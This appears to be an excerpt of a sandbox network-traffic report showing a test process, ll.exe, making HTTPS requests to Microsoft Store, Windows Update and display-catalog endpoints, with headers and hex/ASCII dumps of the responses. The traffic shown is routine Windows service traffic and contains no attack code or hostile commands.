2022-04-08 08:03:27 UTC8261INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
33192.168.2.35001240.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8276OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170234Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:28 UTC8277INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: f687a791-4332-4b7d-88c0-9e30220332b3
Date: Fri, 08 Apr 2022 08:03:27 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
34192.168.2.35001440.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8277OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170235Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:28 UTC8277INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: d889c692-b237-4be7-b6e6-e0087306f391
Date: Fri, 08 Apr 2022 08:03:28 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
35192.168.2.35001352.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8277OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:28 UTC8279INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: fae81dd2-0c1c-4dc9-89fd-60720e91a771
MS-RequestId: 2ace8fcc-b675-412a-96fb-73939cfdb22f
MS-CV: iuBsxjxsfk6hf1t5.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:28 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:28 UTC8279INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:28 UTC8295INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
36192.168.2.35001540.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8278OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170237Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:28 UTC8278INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 08f9cd8f-f4a0-4be0-b43b-e154675ddee4
Date: Fri, 08 Apr 2022 08:03:28 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
37192.168.2.35001720.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:28 UTC8309OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 6bD/MunolEWqHDEG.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:29 UTC8310INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:28 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: dbff4310-b40d-4478-99bf-c61cef6d2b81
MS-RequestId: d3a9bd45-587f-45a4-9e2d-a6b7df223484
MS-CV: 6bD/MunolEWqHDEG.0.2.4.422986805.0.1.422986805.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 65db49-5khkq
Region: neu
Node: aks-systempool-37630073-vmss000007
MS-DocumentVersions: 9NMPJ99VJBWV|3160
2022-04-08 08:03:29 UTC8311INData Raw: 31 32 34 63 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 36 54 32 31 3a 33 31 3a 32 32 2e 37 30 39 32 38 38 34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 36 36 34 32 31 33 30 34 32 34 33 34 39 34 38 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22
Data Ascii: 124cc{"BigIds":["9NMPJ99VJBWV"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-06T21:31:22.7092884Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3056642130424349486","EISListingIdentifier":null,"BackgroundColor":"#0078D7"
2022-04-08 08:03:29 UTC8314INData Raw: 2d 38 30 37 33 2d 34 31 64 63 64 38 33 65 64 64 62 65 2e 63 30 65 36 64 32 65 38 2d 32 64 34 30 2d 34 61 37 38 2d 39 31 62 38 2d 35 30 30 35 35 35 38 36 66 34 35 33 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 31 38 31 32 33 31 32 30 33 39 36 37 39 30 39 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 36 32 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65
Data Ascii: -8073-41dcd83eddbe.c0e6d2e8-2d40-4a78-91b8-50055586f453","Width":66},{"FileId":"3041812312039679096","EISListingIdentifier":null,"BackgroundColor":"#0078D7","Caption":"","FileSizeInBytes":3562,"ForegroundColor":"","Height":88,"ImagePositionInfo":"","Image
2022-04-08 08:03:29 UTC8318INData Raw: 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 38 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6e 37 68 41 59 52 4b 4b 51 34 5a 31 56 4f 35 45 74 73 2f 35 2f 55 2f 2b 67 34 62 32 7a 4f 44 5a 65 33 55 4e 66 2b 69 47 59 36 45 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 34 37 32 36 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 37 30 36 37 2e 38 30 31 31
Data Ascii: "","FileSizeInBytes":8895,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"n7hAYRKKQ4Z1VO5Ets/5/U/+g4b2zODZe3UNf+iGY6E=","Uri":"//store-images.s-microsoft.com/image/apps.47263.13753891519397067.8011
2022-04-08 08:03:29 UTC8322INData Raw: 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 42 5a 6b 4f 6a 6c 77 2b 4b 49 54 52 36 42 6f 45 42 42 79 6f 63 30 73 63 46 49 56 47 63 36 6e 4f 36 74 44 54 39 73 72 71 6e 4b 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 37 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 37 30 36 37 2e 65 38 61 30 36 64 37 64 2d 66 66 62 32 2d 34 35 34 32 2d 39 65 66 61 2d 34 36 30 30 36 63 62 39 37 30 36 39 2e 66 30 62 36 36 64 35 36 2d 33 33
Data Ascii: ,"ImagePositionInfo":"Desktop/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"BZkOjlw+KITR6BoEBByoc0scFIVGc6nO6tDT9srqnKY=","Uri":"//store-images.s-microsoft.com/image/apps.39173.13753891519397067.e8a06d7d-ffb2-4542-9efa-46006cb97069.f0b66d56-33
2022-04-08 08:03:29 UTC8326INData Raw: 74 50 72 6f 64 75 63 74 22 3a 74 72 75 65 2c 22 50 72 65 66 65 72 72 65 64 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 34 2d 30 36 54 32 31 3a 33 33 3a 31 36 2e 32 36 30 33 39 36 35 5a 7c 7c 2e 7c 7c 62 33 35 36 66 63 36 30 2d 38 34 35 36 2d 34 63 66 37 2d 61 39 31 63 2d 39 63 34 39 36 62 62 61 38 34 36 33 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 37 30 36 34 36 31 7c 7c 4e 75 6c 6c 7c 7c 66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69
Data Ascii: tProduct":true,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-04-06T21:33:16.2603965Z||.||b356fc60-8456-4cf7-a91c-9c496bba8463||1152921505694706461||Null||fullrelease","ValidationResultUri
2022-04-08 08:03:29 UTC8330INData Raw: 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 30 5f 61 72 6d 36 34 5f 5f 38
Data Ascii: rsion":2814750890000384,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20012.135.0_x86__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.0_arm64__8
2022-04-08 08:03:29 UTC8334INData Raw: 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 30 32 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 35 30 65 35 32 65 31 35 2d 63 63 61 32 2d 34 38 32 35 2d 33 66 66 33 2d 36 64 66 39 31 62 32 34 66 65 64 34 2d 58 38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22
Data Ascii: e","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.416.202.0_neutral_~_8wekyb3d8bbwe","PackageId":"50e52e15-cca2-4825-3ff3-6df91b24fed4-X86-X64-Arm-Arm64","PackageRank"
2022-04-08 08:03:29 UTC8338INData Raw: 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65
Data Ascii: orkClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagement","phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManagement_8wekyb3d8bbwe","Microsoft.storeFilter.core.notSupporte
2022-04-08 08:03:29 UTC8342INData Raw: 35 2d 33 66 39 62 2d 34 64 31 33 2d 61 30 30 31 2d 66 35 33 61 38 32 62 31 33 30 65 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b
Data Ascii: 5-3f9b-4d13-a001-f53a82b130e2","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":[
2022-04-08 08:03:29 UTC8346INData Raw: 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 35 37 30 30 61 31 35 35 2d 33 66 39 62 2d 34 64 31 33 2d 61 30 30 31 2d 66 35 33 61 38 32 62 31 33 30 65 32 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 2d 62
Data Ascii: level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"5700a155-3f9b-4d13-a001-f53a82b130e2","WuCategoryId":"b99aef9a-1685-4798-b
2022-04-08 08:03:29 UTC8350INData Raw: 38 36 2d 58 36 34 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 38 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f
Data Ascii: 86-X64-X64","PackageRank":30082,"PlatformDependencies":[{"MaxTested":2814751163088896,"MinVersion":2814750970478592,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microso
2022-04-08 08:03:29 UTC8354INData Raw: 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 77 65 73 3a 41 70 70 3a 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 3a 46 75 6c 6c 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 77 65 73 3a 41 70 70 3a 36 65 61 64 34 61 37 37 2d 64 30 37 36 2d 34 38 36 36 2d 39 31 38 38 2d 36 32 31 61 35 62 31 66 34 31 34 66 3a 46 75 6c 6c 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 4d 50 4a 39
Data Ascii: "],"LicensingKeyIds":["1"]},{"EntitlementKeys":["wes:App:d0932c73-e730-4680-bc44-a5908fecbf8b:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["wes:App:6ead4a77-d076-4866-9188-621a5b1f414f:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NMPJ9
2022-04-08 08:03:29 UTC8358INData Raw: 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c
